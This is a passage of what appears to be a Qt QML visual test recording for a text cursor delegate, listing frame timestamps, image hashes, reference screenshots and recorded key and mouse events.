hash: "6f45d7c37f1fb90138011b2af24aaf1e" - } - Frame { - msec: 1808 - hash: "ba164375e7ac18cf2e1e613498158fbf" - } - Frame { - msec: 1824 - hash: "14052b9da9e17a6f06fed05d4ed82b9c" - } - Frame { - msec: 1840 - hash: "aac15ce22bfe38f44a46e4644913f144" - } - Frame { - msec: 1856 - hash: "c63aa02ba29ea18334b188185690948d" - } - Frame { - msec: 1872 - hash: "11ed187ccd4c2221f166851c08b6b467" - } - Frame { - msec: 1888 - hash: "3543bd4e538981d4bb2c2313c9663a53" - } - Frame { - msec: 1904 - hash: "a05fa618b094bde2b54b730f513bcabe" - } - Frame { - msec: 1920 - image: "cursorDelegate.1.png" - } - Frame { - msec: 1936 - hash: "52fc4a32526a74f9a04d8795c7a47c6e" - } - Frame { - msec: 1952 - hash: "17623e1b0ffca3b7736ce930f078dbe0" - } - Frame { - msec: 1968 - hash: "75226dac5691627851d83c7370d7603c" - } - Key { - type: 7 - key: 16777249 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1984 - hash: "9e506ad52020e2913e80a13a7f3ac797" - } - Frame { - msec: 2000 - hash: "9e506ad52020e2913e80a13a7f3ac797" - } - Frame { - msec: 2016 - hash: "9e506ad52020e2913e80a13a7f3ac797" - } - Frame { - msec: 2032 - hash: "9e506ad52020e2913e80a13a7f3ac797" - } - Frame { - msec: 2048 - hash: "9e506ad52020e2913e80a13a7f3ac797" - } - Frame { - msec: 2064 - hash: "75226dac5691627851d83c7370d7603c" - } - Frame { - msec: 2080 - hash: "17623e1b0ffca3b7736ce930f078dbe0" - } - Frame { - msec: 2096 - hash: "52fc4a32526a74f9a04d8795c7a47c6e" - } - Frame { - msec: 2112 - hash: "89f2d3b4441faee557b8d5f44e1e1e18" - } - Frame { - msec: 2128 - hash: "a05fa618b094bde2b54b730f513bcabe" - } - Frame { - msec: 2144 - hash: "3543bd4e538981d4bb2c2313c9663a53" - } - Frame { - msec: 2160 - hash: "11ed187ccd4c2221f166851c08b6b467" - } - Frame { - msec: 2176 - hash: "c63aa02ba29ea18334b188185690948d" - } - Frame { - msec: 2192 - hash: "aac15ce22bfe38f44a46e4644913f144" - } - Frame { - msec: 2208 - hash: "14052b9da9e17a6f06fed05d4ed82b9c" - } - Frame { - msec: 2224 - hash: "ba164375e7ac18cf2e1e613498158fbf" - } - Frame { - msec: 2240 - hash: "6f45d7c37f1fb90138011b2af24aaf1e" - } - Frame { - msec: 2256 - hash: "1cfe03528b1cd84e69efc02b9677c748" - } - Key { - type: 7 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "360d75bcc178bcfd4f93741d653fd821" - } - Frame { - msec: 2288 - hash: "708799d2d834302c659958701e217b37" - } - Frame { - msec: 2304 - hash: "892a1a8a5a9c198e5ae04cc19f0e1d0c" - } - Frame { - msec: 2320 - hash: "bc5744ef5c81b7d5b365bf977f909be5" - } - Frame { - msec: 2336 - hash: "5bd588d64917f942e0f5ea1553acbf63" - } - Frame { - msec: 2352 - hash: "c0b0cddd62853ac3499b7ada200d206a" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "5c60da876c8cc9fa334905b5fc7c2a3d" - } - Frame { - msec: 2384 - hash: "136a103a893991b97ec09f373c68c5b9" - } - Frame { - msec: 2400 - hash: "b2181ce0165ee060e1a8b713027011a9" - } - Frame { - msec: 2416 - hash: "e4836bbaf1834658e3ec4bf54a619b53" - } - Frame { - msec: 2432 - hash: "3072492f5f72427c8d45cf3c5d3ff919" - } - Frame { - msec: 2448 - hash: "d897cba896239c77df4f7adb93ad5def" - } - Frame { - msec: 2464 - hash: "ec9867a95de6d6f4c0f92af567d73771" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2480 - hash: "06b72e3180eb946622e4592de0fa6f91" - } - Frame { - msec: 2496 - hash: "33f109c026eaefed113cc12db5912a19" - } - Frame { - msec: 2512 - hash: "ce72c4b4470394dc1c4efd4d9de9907f" - } - Frame { - msec: 2528 - hash: "64ac1105ea10ae1f6401e8421731c606" - } - Frame { - msec: 2544 - hash: "ef977bd74941d3506b8f3ee4b1f587ad" - } - Frame { - msec: 2560 - hash: "9278de91e10788ae5a80399ff5372460" - } - Frame { - msec: 2576 - hash: "ddaaf945a5f714b856ed5155f4e502b2" - } - Frame { - msec: 2592 - hash: "f6bb6ba15d996345df04825da71c2cf3" - } - Frame { - msec: 2608 - hash: "466c78a5a5052b39b113adeda761da6c" - } - Frame { - msec: 2624 - hash: "db650537d773e0d8a737a7bf5f408a5e" - } - Frame { - msec: 2640 - hash: "64be9f85869f19defada296343895a2b" - } - Frame { - msec: 2656 - hash: "5ac6d9751bfadbc7aa064ca0b4d78b2b" - } - Frame { - msec: 2672 - hash: "a088b351dcc6fc3a8d29256f3a2410c3" - } - Frame { - msec: 2688 - hash: "a16a77170a6c969042024fa0868da12d" - } - Frame { - msec: 2704 - hash: "3a2509d0d3a314d2ed72f811f4af741e" - } - Frame { - msec: 2720 - hash: "484db4e1954048cad7eea48bfea08267" - } - Frame { - msec: 2736 - hash: "ad0f84634c5f99ab62ab6d12ad8d8c6a" - } - Frame { - msec: 2752 - hash: "d99b590307f6910963257a1c41c50120" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" - } - Frame { - msec: 2784 - hash: "4220dde85eb1c027366efd0798927e8d" - } - Frame { - msec: 2800 - hash: "512b9746ae4482557b8cef9f99905954" - } - Frame { - msec: 2816 - hash: "e7346d8f223684143a0940def878b874" - } - Frame { - msec: 2832 - hash: "4f097223462c8f619188b0b0c2ecb080" - } - Frame { - msec: 2848 - hash: "243be452ff0798538defc6a14cb8a08b" - } - Frame { - msec: 2864 - hash: "e5472ed9a8a43a64a0fea12540619940" - } - Frame { - msec: 2880 - image: "cursorDelegate.2.png" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2896 - hash: "97d5f9fe02e4bd06ec30a7805945f167" - } - Frame { - msec: 2912 - hash: "eb381a1e2ad945e4cfa540c137edbda7" - } - Frame { - msec: 2928 - hash: "75252ff61682fd32117f0759ebe4b6a1" - } - Frame { - msec: 2944 - hash: "d724bdacc59bce29d0a42d72479be0b6" - } - Frame { - msec: 2960 - hash: "d7703c18b69f485bba3abd655100b50d" - } - Frame { - msec: 2976 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 2992 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 3008 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 3024 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 3040 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 3056 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 3072 - hash: "d7703c18b69f485bba3abd655100b50d" - } - Frame { - msec: 3088 - hash: "d724bdacc59bce29d0a42d72479be0b6" - } - Frame { - msec: 3104 - hash: "75252ff61682fd32117f0759ebe4b6a1" - } - Frame { - msec: 3120 - hash: "eb381a1e2ad945e4cfa540c137edbda7" - } - Frame { - msec: 3136 - hash: "97d5f9fe02e4bd06ec30a7805945f167" - } - Frame { - msec: 3152 - hash: "90b0f5f1aa7b5f066fb1266ea63254eb" - } - Frame { - msec: 3168 - hash: "e5472ed9a8a43a64a0fea12540619940" - } - Frame { - msec: 3184 - hash: "243be452ff0798538defc6a14cb8a08b" - } - Frame { - msec: 3200 - hash: "4f097223462c8f619188b0b0c2ecb080" - } - Frame { - msec: 3216 - hash: "e7346d8f223684143a0940def878b874" - } - Frame { - msec: 3232 - hash: "512b9746ae4482557b8cef9f99905954" - } - Frame { - msec: 3248 - hash: "4220dde85eb1c027366efd0798927e8d" - } - Frame { - msec: 3264 - hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" - } - Frame { - msec: 3280 - hash: "de09380dd57c58ae99fbdba169a19975" - } - Frame { - msec: 3296 - hash: "bfc1b03df244839a012e8302dc07764f" - } - Frame { - msec: 3312 - hash: "d5f220e5337837ec0d07eb118e2f948e" - } - Frame { - msec: 3328 - hash: "7640c78a286b0b7bdf2ec9117ceced4a" - } - Frame { - msec: 3344 - hash: "680f51f63c4b11a247a668eb7bbd2b62" - } - Frame { - msec: 3360 - hash: "de3c911aec7e42557ece4bdcf02ce562" - } - Frame { - msec: 3376 - hash: "5e09b95292d6d0afe76a5015b0ccebf1" - } - Frame { - msec: 3392 - hash: "59d2fb8e21802d256b11730b31919fb3" - } - Frame { - msec: 3408 - hash: "a494b3b25a23daa858034ebccce0d1c7" - } - Frame { - msec: 3424 - hash: "2ff4bd5602c34c020162f0503d625049" - } - Frame { - msec: 3440 - hash: "e715c2a82745829665226df78598b819" - } - Frame { - msec: 3456 - hash: "47ad557d366536ad457f6866241dba93" - } - Frame { - msec: 3472 - hash: "70aedcda6c93875d18ee111d8a19549e" - } - Frame { - msec: 3488 - hash: "c3487c7c7dcd392e7eacb74045dd4143" - } - Frame { - msec: 3504 - hash: "56db24ad686d34e75a2d184e5b1da2a9" - } - Frame { - msec: 3520 - hash: "436349a8371597a74404428983cd894c" - } - Frame { - msec: 3536 - hash: "6e1bb59ec518614a0414092f4939d5ad" - } - Frame { - msec: 3552 - hash: "f0aa02772df579b921e0c68f794d2327" - } - Frame { - msec: 3568 - hash: "09ea1462da333c2aeaaa01e9e4f8d54b" - } - Frame { - msec: 3584 - hash: "46d23d8472ce833591dcff548a644288" - } - Frame { - msec: 3600 - hash: "a7566d5d35a89078bb378bf3f6c78e13" - } - Frame { - msec: 3616 - hash: "4c5f7155b20e34a5627387cdc466e890" - } - Frame { - msec: 3632 - hash: "e9b98922327c412db0116a56283d3c86" - } - Frame { - msec: 3648 - hash: "29ffede9c16c34ead5f291e69e388084" - } - Frame { - msec: 3664 - hash: "16958b8f0b1dbdc15333d99bd1349124" - } - Frame { - msec: 3680 - hash: "3408f8d6e4d6ef34d4d5a0cb51090c4c" - } - Frame { - msec: 3696 - hash: "b32b099b260789266d0a3c0edd61c04e" - } - Frame { - msec: 3712 - hash: "4dd3617b25e8b95cf2ec31db8b3bb80f" - } - Frame { - msec: 3728 - hash: "46b42a08c59909f067810d1984f7a04e" - } - Frame { - msec: 3744 - hash: "ab8c505601c381e8a44fa7b6eea6579d" - } - Frame { - msec: 3760 - hash: "73f56e6e1d2cbf3f559d679eb2c15529" - } - Frame { - msec: 3776 - hash: "b230c56da330823d7d7f7e081c304acb" - } - Frame { - msec: 3792 - hash: "9f3cbd0023dbd78ba4951c26f71c7d5d" - } - Frame { - msec: 3808 - hash: "9e9b11cf2695dd02c1ab175ff194f491" - } - Frame { - msec: 3824 - hash: "8fa6f8eb5deb0ab95c3454e5812ada1d" - } - Frame { - msec: 3840 - image: "cursorDelegate.3.png" - } - Frame { - msec: 3856 - hash: "0b6b24ae8df7c3aa9abb48edb6619d8a" - } - Frame { - msec: 3872 - hash: "45805295dd2482fdf21ac8c9bfe47869" - } - Frame { - msec: 3888 - hash: "4893cd31a730d786f075edfd0afc0ad9" - } - Frame { - msec: 3904 - hash: "a3fbfe732568f5cf6e63809fd7e0c32e" - } - Frame { - msec: 3920 - hash: "21d3327710d51f714e84b5a28df13e4f" - } - Frame { - msec: 3936 - hash: "ea065ab48f27f60505eab36debee3faa" - } - Frame { - msec: 3952 - hash: "fe4c2e368d2110374b7ba9e30f330713" - } - Frame { - msec: 3968 - hash: "723281f6c1a3f03cf170e4de93fa4dbf" - } - Frame { - msec: 3984 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4000 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4016 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4032 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4048 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4064 - hash: "723281f6c1a3f03cf170e4de93fa4dbf" - } - Key { - type: 6 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4080 - hash: "c779e46a89c3c9d0f8234a3192175b60" - } - Frame { - msec: 4096 - hash: "f223cfeba468e161943b24ac960196de" - } - Frame { - msec: 4112 - hash: "dd2f21f063d055edc23c874380149067" - } - Frame { - msec: 4128 - hash: "af580b32b67117eb062bbcefe262c719" - } - Key { - type: 7 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4144 - hash: "991f76d483e033024932790f85bb3c5d" - } - Frame { - msec: 4160 - hash: "3d8aa66ab9533d14a468f0869b457033" - } - Frame { - msec: 4176 - hash: "a5540bd5d088ab1201b5f22b32579d7c" - } - Frame { - msec: 4192 - hash: "e0844f30578fef2cdcee4e4ff28ab7cf" - } - Frame { - msec: 4208 - hash: "710e7022b65a9b3fd3a7372bf7f37c7a" - } - Frame { - msec: 4224 - hash: "db553c856b11db7e6feb38b9d562a804" - } - Frame { - msec: 4240 - hash: "6ba56c4ec6e903b0d82235c230ed78cb" - } - Frame { - msec: 4256 - hash: "786de35a11c3fc1a228392195f509c28" - } - Frame { - msec: 4272 - hash: "cc6307597cea821b63391fc9bdbe038b" - } - Frame { - msec: 4288 - hash: "73d49e4d0bef103e11820d888bef0368" - } - Frame { - msec: 4304 - hash: "b2ed6ebf66252463326c2f220b3992fa" - } - Frame { - msec: 4320 - hash: "129b5bc6d55621e2366fc0d80f105df2" - } - Frame { - msec: 4336 - hash: "ae8fe55fa9b497cd6eff18a517c301d8" - } - Frame { - msec: 4352 - hash: "535210bd848a20db2966b06278198e07" - } - Frame { - msec: 4368 - hash: "1f4ea7783b5c60bfc424c73cea07a3a0" - } - Frame { - msec: 4384 - hash: "5b61f2e9308c4de2864bb7cf133ce545" - } - Frame { - msec: 4400 - hash: "f641f87e9556ecfd24f0f0a772295e52" - } - Frame { - msec: 4416 - hash: "36f28574c0b042647bc064d75afa9fbc" - } - Frame { - msec: 4432 - hash: "dba2ca165b8ab35113b8ec127b204ae9" - } - Frame { - msec: 4448 - hash: "56324b95f63eabba718df588159f374d" - } - Frame { - msec: 4464 - hash: "af65d67fef3c743e31acca03716040c4" - } - Frame { - msec: 4480 - hash: "105481b5becd127af4c28961d900148c" - } - Frame { - msec: 4496 - hash: "4859d6bf9c456e52fd463e4c2f68d7f6" - } - Frame { - msec: 4512 - hash: "21c0958bd3c6a1056bb062165c9bc18b" - } - Frame { - msec: 4528 - hash: "287d258a79f45c26c92c69cce6b1a2f3" - } - Frame { - msec: 4544 - hash: "deabc5c7dd111adcb253eb833f118764" - } - Frame { - msec: 4560 - hash: "4bad7380f6b645c551edbe06ff67cac9" - } - Frame { - msec: 4576 - hash: "67fc71c16d0b9405c35590bafdc5ea40" - } - Key { - type: 6 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4592 - hash: "7aed794eae2f0c65342f190ed4d4f889" - } - Frame { - msec: 4608 - hash: "23edee3af8f1904558863d37c520555a" - } - Frame { - msec: 4624 - hash: "2f9ed13e8a0d0edf098b05db02c04bdf" - } - Key { - type: 7 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4640 - hash: "86ed2aa2428feb9c6c14ad2a74e97978" - } - Frame { - msec: 4656 - hash: "e189dc0dae9457a6af5082c6ccf451b6" - } - Frame { - msec: 4672 - hash: "62d4bfa65bfdc50d24d9204f4df7bad8" - } - Frame { - msec: 4688 - hash: "5a11ec8a0485a018ebe317e01136e4a5" - } - Frame { - msec: 4704 - hash: "9aa569f7b251371bdd1cb05c8d3aab28" - } - Frame { - msec: 4720 - hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" - } - Frame { - msec: 4736 - hash: "a0cb3f796fddf7100ca19aee3dedbea8" - } - Frame { - msec: 4752 - hash: "b4e273b6415e3951eab2f831100b0bb2" - } - Frame { - msec: 4768 - hash: "fd3fd655785c4e3c470f742451e3470f" - } - Frame { - msec: 4784 - hash: "7a9b2057760e48d5f9cfdc79b08866d8" - } - Frame { - msec: 4800 - image: "cursorDelegate.4.png" - } - Frame { - msec: 4816 - hash: "c6c90915393fc7cb0aaa464caefbadb0" - } - Frame { - msec: 4832 - hash: "36b65658073ac2687dbd88ec7a408a98" - } - Frame { - msec: 4848 - hash: "84e165f9f2c55c5c51a260b11ca195c2" - } - Frame { - msec: 4864 - hash: "c11cfcfda6f161d058a3d9e93349b578" - } - Frame { - msec: 4880 - hash: "0568f8c0e1fa51b7547790a7f4978ea3" - } - Frame { - msec: 4896 - hash: "b66fd97ac36ac395df74e9a0dd58d0c7" - } - Frame { - msec: 4912 - hash: "31b5b3d68e452ffd90e9804ff9e9a264" - } - Frame { - msec: 4928 - hash: "3cc8791e419986e1e913d4e153243fb2" - } - Frame { - msec: 4944 - hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" - } - Frame { - msec: 4960 - hash: "d3ae969e538c642d82662d08ef05964e" - } - Frame { - msec: 4976 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 4992 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 5008 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 5024 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 5040 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 5056 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 5072 - hash: "d3ae969e538c642d82662d08ef05964e" - } - Frame { - msec: 5088 - hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" - } - Frame { - msec: 5104 - hash: "3cc8791e419986e1e913d4e153243fb2" - } - Frame { - msec: 5120 - hash: "31b5b3d68e452ffd90e9804ff9e9a264" - } - Frame { - msec: 5136 - hash: "b66fd97ac36ac395df74e9a0dd58d0c7" - } - Frame { - msec: 5152 - hash: "0568f8c0e1fa51b7547790a7f4978ea3" - } - Frame { - msec: 5168 - hash: "c11cfcfda6f161d058a3d9e93349b578" - } - Frame { - msec: 5184 - hash: "84e165f9f2c55c5c51a260b11ca195c2" - } - Frame { - msec: 5200 - hash: "36b65658073ac2687dbd88ec7a408a98" - } - Frame { - msec: 5216 - hash: "c6c90915393fc7cb0aaa464caefbadb0" - } - Frame { - msec: 5232 - hash: "2a55b52db02d97963d382c9862307384" - } - Frame { - msec: 5248 - hash: "7a9b2057760e48d5f9cfdc79b08866d8" - } - Frame { - msec: 5264 - hash: "fd3fd655785c4e3c470f742451e3470f" - } - Frame { - msec: 5280 - hash: "b4e273b6415e3951eab2f831100b0bb2" - } - Frame { - msec: 5296 - hash: "a0cb3f796fddf7100ca19aee3dedbea8" - } - Frame { - msec: 5312 - hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" - } - Frame { - msec: 5328 - hash: "9aa569f7b251371bdd1cb05c8d3aab28" - } - Frame { - msec: 5344 - hash: "5a11ec8a0485a018ebe317e01136e4a5" - } - Frame { - msec: 5360 - hash: "62d4bfa65bfdc50d24d9204f4df7bad8" - } - Frame { - msec: 5376 - hash: "e189dc0dae9457a6af5082c6ccf451b6" - } - Frame { - msec: 5392 - hash: "86ed2aa2428feb9c6c14ad2a74e97978" - } - Frame { - msec: 5408 - hash: "2f9ed13e8a0d0edf098b05db02c04bdf" - } - Frame { - msec: 5424 - hash: "23edee3af8f1904558863d37c520555a" - } - Frame { - msec: 5440 - hash: "7aed794eae2f0c65342f190ed4d4f889" - } - Frame { - msec: 5456 - hash: "0fa12b48c08266f50e77506e4136dd56" - } - Frame { - msec: 5472 - hash: "679ee2b26a118ab53a84fa116de09edf" - } - Frame { - msec: 5488 - hash: "b9dcdd88fba70636cbcae160edcc0136" - } - Frame { - msec: 5504 - hash: "90af75eeef63ae67e9f6ff1a61d7cca3" - } - Frame { - msec: 5520 - hash: "29d80ae32451c24b655c4d1fd01d3aa1" - } - Frame { - msec: 5536 - hash: "c73fe137644cbc006d0b5274b72faa46" - } - Frame { - msec: 5552 - hash: "8a4d76ae60f5d720a382cced2f6a2b5e" - } - Frame { - msec: 5568 - hash: "a1efa0d424d568d338c6db9fc095c2fb" - } - Frame { - msec: 5584 - hash: "205cafcabb29b78a6db3dcaf44a74ab6" - } - Frame { - msec: 5600 - hash: "7507a3d2158d4cc68454c85922526871" - } - Frame { - msec: 5616 - hash: "7135a6a7999e82cb81e39228805332ee" - } - Frame { - msec: 5632 - hash: "ac2b714b5f32d2b911f31690d7082dc1" - } - Frame { - msec: 5648 - hash: "5cb1ae6d86aafdf11284480c81b939dc" - } - Frame { - msec: 5664 - hash: "ac705840cc94eb4af7a52d62649d0157" - } - Frame { - msec: 5680 - hash: "8c2ebcd80e26ac7b9d25be486f54c4ce" - } - Frame { - msec: 5696 - hash: "12b84aa02dbbab3592d3eb3cb6884b41" - } - Frame { - msec: 5712 - hash: "675043ddde6ed65a3ec4ed093be1e760" - } - Frame { - msec: 5728 - hash: "478126aeef5ddae9c0a77d08294cf3f2" - } - Frame { - msec: 5744 - hash: "0b43af73d91a500ccdf27b4347b9bc47" - } - Frame { - msec: 5760 - image: "cursorDelegate.5.png" - } - Frame { - msec: 5776 - hash: "a6d8708d08bedf0cab5230d6f2936936" - } - Frame { - msec: 5792 - hash: "02e0646024aeef6f01b7541b15267baa" - } - Frame { - msec: 5808 - hash: "da6717c94b46ad7a647c445c06314b0d" - } - Frame { - msec: 5824 - hash: "2ed12d49d72884160ebbf6b6d0e15a9d" - } - Frame { - msec: 5840 - hash: "a1fbc3333b7f742a8336a6fcbad156c9" - } - Frame { - msec: 5856 - hash: "25cac33299d58cdd7775e8b75410085e" - } - Frame { - msec: 5872 - hash: "5d81833eb342f632945c0571e18cb1f9" - } - Frame { - msec: 5888 - hash: "23f6f2a7d971494af43a0fb97dbf8fb5" - } - Frame { - msec: 5904 - hash: "216b70d02a4685dc07258454bb4e7c85" - } - Frame { - msec: 5920 - hash: "1e06742af58d6e63facdc599c46e11b1" - } - Frame { - msec: 5936 - hash: "00f8ac72d3794ed8d66db987402ecde0" - } - Frame { - msec: 5952 - hash: "42ab5f162acba94f563823f5be1e37d2" - } - Frame { - msec: 5968 - hash: "3272b97fdc54eb9f3590e7bbe4ac457d" - } - Frame { - msec: 5984 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 6000 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 6016 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 6032 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 6048 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 6064 - hash: "3272b97fdc54eb9f3590e7bbe4ac457d" - } - Frame { - msec: 6080 - hash: "42ab5f162acba94f563823f5be1e37d2" - } - Frame { - msec: 6096 - hash: "00f8ac72d3794ed8d66db987402ecde0" - } - Frame { - msec: 6112 - hash: "1e06742af58d6e63facdc599c46e11b1" - } - Frame { - msec: 6128 - hash: "216b70d02a4685dc07258454bb4e7c85" - } - Frame { - msec: 6144 - hash: "23f6f2a7d971494af43a0fb97dbf8fb5" - } - Frame { - msec: 6160 - hash: "5d81833eb342f632945c0571e18cb1f9" - } - Frame { - msec: 6176 - hash: "25cac33299d58cdd7775e8b75410085e" - } - Frame { - msec: 6192 - hash: "a1fbc3333b7f742a8336a6fcbad156c9" - } - Frame { - msec: 6208 - hash: "2ed12d49d72884160ebbf6b6d0e15a9d" - } - Frame { - msec: 6224 - hash: "da6717c94b46ad7a647c445c06314b0d" - } - Frame { - msec: 6240 - hash: "02e0646024aeef6f01b7541b15267baa" - } - Frame { - msec: 6256 - hash: "a6d8708d08bedf0cab5230d6f2936936" - } - Frame { - msec: 6272 - hash: "68d459091a85f24ece39a207e395039b" - } - Frame { - msec: 6288 - hash: "0b43af73d91a500ccdf27b4347b9bc47" - } - Frame { - msec: 6304 - hash: "478126aeef5ddae9c0a77d08294cf3f2" - } - Frame { - msec: 6320 - hash: "675043ddde6ed65a3ec4ed093be1e760" - } - Frame { - msec: 6336 - hash: "12b84aa02dbbab3592d3eb3cb6884b41" - } - Frame { - msec: 6352 - hash: "8c2ebcd80e26ac7b9d25be486f54c4ce" - } - Frame { - msec: 6368 - hash: "ac705840cc94eb4af7a52d62649d0157" - } - Frame { - msec: 6384 - hash: "5cb1ae6d86aafdf11284480c81b939dc" - } - Frame { - msec: 6400 - hash: "ac2b714b5f32d2b911f31690d7082dc1" - } - Frame { - msec: 6416 - hash: "7135a6a7999e82cb81e39228805332ee" - } - Frame { - msec: 6432 - hash: "7507a3d2158d4cc68454c85922526871" - } - Frame { - msec: 6448 - hash: "205cafcabb29b78a6db3dcaf44a74ab6" - } - Frame { - msec: 6464 - hash: "a1efa0d424d568d338c6db9fc095c2fb" - } - Frame { - msec: 6480 - hash: "8a4d76ae60f5d720a382cced2f6a2b5e" - } - Frame { - msec: 6496 - hash: "c73fe137644cbc006d0b5274b72faa46" - } - Frame { - msec: 6512 - hash: "29d80ae32451c24b655c4d1fd01d3aa1" - } - Frame { - msec: 6528 - hash: "90af75eeef63ae67e9f6ff1a61d7cca3" - } - Frame { - msec: 6544 - hash: "b9dcdd88fba70636cbcae160edcc0136" - } - Frame { - msec: 6560 - hash: "679ee2b26a118ab53a84fa116de09edf" - } - Frame { - msec: 6576 - hash: "0fa12b48c08266f50e77506e4136dd56" - } - Frame { - msec: 6592 - hash: "7aed794eae2f0c65342f190ed4d4f889" - } - Frame { - msec: 6608 - hash: "23edee3af8f1904558863d37c520555a" - } - Frame { - msec: 6624 - hash: "2f9ed13e8a0d0edf098b05db02c04bdf" - } - Frame { - msec: 6640 - hash: "86ed2aa2428feb9c6c14ad2a74e97978" - } - Frame { - msec: 6656 - hash: "e189dc0dae9457a6af5082c6ccf451b6" - } - Frame { - msec: 6672 - hash: "62d4bfa65bfdc50d24d9204f4df7bad8" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 271; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6688 - hash: "680f51f63c4b11a247a668eb7bbd2b62" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 271; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6704 - hash: "7640c78a286b0b7bdf2ec9117ceced4a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 271; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 270; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6720 - image: "cursorDelegate.6.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 269; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6736 - hash: "bfc1b03df244839a012e8302dc07764f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 268; y: 107 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6752 - hash: "de09380dd57c58ae99fbdba169a19975" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 266; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6768 - hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 266; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6784 - hash: "4220dde85eb1c027366efd0798927e8d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 265; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6800 - hash: "512b9746ae4482557b8cef9f99905954" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 263; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 261; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6816 - hash: "e7346d8f223684143a0940def878b874" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 259; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6832 - hash: "7e7382302681cd29a2c6959a3a704660" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 256; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6848 - hash: "ef8f7dfdd4e70100ecaecca4055d8f52" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 250; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 243; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6864 - hash: "f5cacabb78b88c31af1a1b1e6f60069b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 235; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6880 - hash: "b016ef2306b0a721df86b6916e7953e4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 227; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6896 - hash: "a78e9b0b93569b77b0659c771336971a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 209; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6912 - hash: "b957ab07bcbaeffca963d9148130a965" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6928 - hash: 